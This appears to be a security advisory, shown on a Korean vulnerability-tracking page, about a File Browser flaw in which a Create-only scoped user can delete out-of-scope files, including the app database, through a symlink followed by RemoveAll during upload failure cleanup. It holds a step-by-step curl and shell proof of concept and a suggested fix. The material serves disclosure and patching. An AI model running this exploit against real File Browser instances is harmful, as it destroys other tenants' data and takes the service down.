File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H상세 설명
Summary
A scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 ScopedFs containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.
ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate.
Affected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174
Details
CVE-2026-54094 was fixed by a ScopedFs afero wrapper whose guard() resolves every path component with filepath.EvalSymlinks and rejects out-of-scope targets. guard() is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:
ScopedFs.RemoveandScopedFs.RemoveAllskipguard()(files/scoped.go:138-144) — they calls.base.Remove/RemoveAlldirectly, unlike every other method.resourcePostHandlerdoes not return on aNewFileInfocontainment error (http/resource.go:125-180). For an out-of-scope pathNewFileInfofails, but the handler only uses that for the override branch (if err == nil) and falls through towriteFile, which is correctly guard-blocked and errors — triggering the failure-cleanup_ = d.user.Fs.RemoveAll(r.URL.Path)(http/resource.go:173) on the unvalidated path.
Because Go's os.RemoveAll follows a symlinked ancestor, RemoveAll("link/secret.txt") where link -> /srv/victim deletes /srv/victim/secret.txt, outside scope. The HTTP response is 403 (write blocked), masking the deletion.
Of the three handlers calling RemoveAll, only resourcePostHandler is exploitable; resourceDeleteHandler (:114) and tusDeleteHandler (:264) return the NewFileInfo error first (shadowed, confirmed by negative controls). If the target is a directory, RemoveAll recursively removes out-of-scope contents.
Precondition
An escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.
Proof of concept
Root /tmp/fb-root, a Create-only non-admin user scoped to /scope with Perm.Create=true (and Perm.Delete=false — the bug must not need it), and a pre-existing symlink /tmp/fb-root/scope/link -> /tmp/fb-out:
1# 0. Layout: server root + an out-of-scope dir holding the victim file 2mkdir -p /tmp/fb-root /tmp/fb-out 3echo keep > /tmp/fb-out/victim.txt 4 5# 1. Init DB and pin the server root 6filebrowser -d /tmp/fb.db config init 7filebrowser -d /tmp/fb.db config set --root /tmp/fb-root 8 9# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it10filebrowser -d /tmp/fb.db users add victim hunter2 \11 --scope=/scope \12 --perm.admin=false --perm.create=true \13 --perm.modify=false --perm.delete=false \14 --perm.rename=false --perm.share=false --perm.execute=false15 16# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model17# (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.18ln -s /tmp/fb-out /tmp/fb-root/scope/link19 20# 4. Start the server21filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 808022 23# 5. Log in; the JWT is returned as the raw response body24JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \25 -H 'Content-Type: application/json' \26 -d '{"username":"victim","password":"hunter2"}')27 28# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,29# and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt").30curl -i -X POST -H "X-Auth: $JWT" --data 'x' \31 'http://127.0.0.1:8080/api/resources/link/victim.txt'32 33# 7. Impact check34test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED"Minimal HTTP summary (Create-only user carol, scope /attacker, pre-existing symlink /attacker/link -> /srv/victim, file /srv/victim/secret.txt):
1GET /api/raw/link/secret.txt -> 403 (read containment still holds — the v2.63.14 fix) 2POST /api/resources/link/secret.txt -> 403 (write blocked) 3 => /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)Verified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir → all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).
Impact
A per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants' data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the ScopedFs boundary and the Perm.Delete gate. If the target is a directory, RemoveAll recursively removes out-of-scope contents. Precondition: a symlink present in the user's scope — identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.
Suggested fix
- Add
guard()toScopedFs.RemoveandScopedFs.RemoveAll(files/scoped.go), mirroring the other methods (closes the class for all callers). - Defense-in-depth: in
resourcePostHandler, return early whenNewFileInforeturns a non-not-exist error (do not fall through towriteFile/cleanup on a path that failed containment).
References
- Incomplete fix of CVE-2026-54094 /
GHSA-239w-m3h6-ch8v. - Affected code:
files/scoped.go(ScopedFs.Remove,ScopedFs.RemoveAll), reached fromhttp/resource.go(resourcePostHandlerfailure-cleanup, line 173). - Confirmed unpatched at HEAD
be23ab3(v2.63.15); no open issue/PR addresses theRemove/RemoveAllgap.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 4
링크 내용 불러오는 중…